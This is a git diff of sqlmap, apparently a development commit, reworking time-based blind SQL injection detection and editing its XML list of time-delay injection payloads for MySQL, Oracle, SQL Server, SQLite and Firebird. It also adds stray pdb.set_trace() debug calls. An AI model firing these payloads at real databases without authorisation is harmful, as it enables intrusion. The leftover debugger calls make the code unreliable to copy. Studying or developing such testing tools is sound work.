diff --git a/lib/controller/checks.py b/lib/controller/checks.py
index 1c67fdc7e..a44794b57 100644
--- a/lib/controller/checks.py
+++ b/lib/controller/checks.py
@@ -45,6 +45,8 @@ from lib.core.exception import sqlmapSiteTooDynamic
from lib.core.exception import sqlmapUserQuitException
from lib.core.session import setString
from lib.core.session import setRegexp
+from lib.core.settings import TIME_MIN_DELTA
+from lib.core.settings import TIME_N_RESPONSE
from lib.request.connect import Connect as Request
from plugins.dbms.firebird.syntax import Syntax as Firebird
from plugins.dbms.postgresql.syntax import Syntax as PostgreSQL
@@ -351,11 +353,23 @@ def checkSqlInjection(place, parameter, value):
_ = Request.queryPage(reqPayload, place)
duration = calculateDeltaSeconds(start)
- if duration >= conf.timeSec:
- infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
- logger.info(infoMsg)
+ if check.isdigit():
+ if duration >= int(check):
+ infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
+ logger.info(infoMsg)
- injectable = True
+ injectable = True
+ elif check == "[DELAYED]":
+ if duration >= max(TIME_MIN_DELTA, TIME_N_RESPONSE * kb.responseTime):
+ import pdb
+ pdb.set_trace()
+ infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
+ logger.info(infoMsg)
+
+ injectable = True
+ else:
+ import pdb
+ pdb.set_trace()
# Restore old value of socket timeout
socket.setdefaulttimeout(popValue())
diff --git a/lib/core/common.py b/lib/core/common.py
index ffe8251e8..66d287e71 100644
--- a/lib/core/common.py
+++ b/lib/core/common.py
@@ -1281,7 +1281,7 @@ def calculateDeltaSeconds(start, epsilon=0.1):
Returns elapsed time from start till now (including expected
error set by epsilon parameter)
"""
- return int(time.time() - start - kb.responseTime + epsilon)
+ return time.time() - start - kb.responseTime + epsilon
def initCommonOutputs():
kb.commonOutputs = {}
diff --git a/lib/core/settings.py b/lib/core/settings.py
index cd2a27009..1d66109d4 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -48,6 +48,11 @@ DUMP_STOP_MARKER = "__STOP__"
PAYLOAD_DELIMITER = "\x00"
+# settings used for delayed time payloads
+TIME_MIN_DELTA = 1 # minimum difference of loading time in seconds
+TIME_N_RESPONSE = 3 # minimum multiplicant of response time
+
+
# System variables
IS_WIN = subprocess.mswindows
# The name of the operating system dependent module imported. The following
diff --git a/xml/payloads.xml b/xml/payloads.xml
index 32c8cd757..9fd7dfc86 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -1232,7 +1232,7 @@ Formats:
--
-
+
MySQL
@@ -1271,7 +1271,7 @@ Formats:
--
-
+
PostgreSQL
@@ -1388,7 +1388,7 @@ Formats:
--
-
+
SQLite
@@ -1408,7 +1408,7 @@ Formats:
--
-
+
Firebird
@@ -1452,7 +1452,7 @@ Formats:
AND BENCHMARK(5000000, MD5('[SLEEPTIME]'))
-
+
MySQL
@@ -1484,29 +1484,11 @@ Formats:
1
1,2,3
1
-
- AND (SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM DUAL)>0
-
-
-
-
-
- Oracle
-
-
-
-
- Oracle AND time-based blind (heavy query)
- 5
- 2
- 1
- 1,2,3
- 1
AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5)>0
-
+
Oracle
@@ -1524,7 +1506,7 @@ Formats:
AND (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>0
-
+
Microsoft SQL Server
@@ -1532,7 +1514,7 @@ Formats:
- SQLite > 2.0 AND time-based blind (heavy query)
+ SQLite > 2.0 AND time-based blind
5
3
1
@@ -1543,7 +1525,7 @@ Formats:
AND LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(10000000))))
-
+
SQLite
@@ -1563,7 +1545,7 @@ Formats:
AND (SELECT COUNT(*) FROM RDB$DATABASE AS T1, RDB$FIELDS AS T2, RDB$FUNCTIONS AS T3, RDB$TYPES AS T4, RDB$FORMATS AS T5, RDB$COLLATIONS AS T6) > 0
-
+
Firebird
@@ -1611,7 +1593,7 @@ Formats:
OR BENCHMARK(5000000, MD5('[SLEEPTIME]'))
-
+
MySQL
@@ -1647,7 +1629,7 @@ Formats:
OR (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5)>0
-
+
Oracle
@@ -1665,7 +1647,7 @@ Formats:
OR (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>0
-
+
Microsoft SQL Server
@@ -1673,7 +1655,7 @@ Formats:
- SQLite > 2.0 OR time-based blind (heavy query)
+ SQLite > 2.0 OR time-based blind
5
4
3
@@ -1684,7 +1666,7 @@ Formats:
OR LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(10000000))))
-
+
SQLite
@@ -1704,7 +1686,7 @@ Formats:
OR (SELECT COUNT(*) FROM RDB$DATABASE AS T1, RDB$FIELDS AS T2, RDB$FUNCTIONS AS T3, RDB$TYPES AS T4, RDB$FORMATS AS T5, RDB$COLLATIONS AS T6) > 0
-
+
Firebird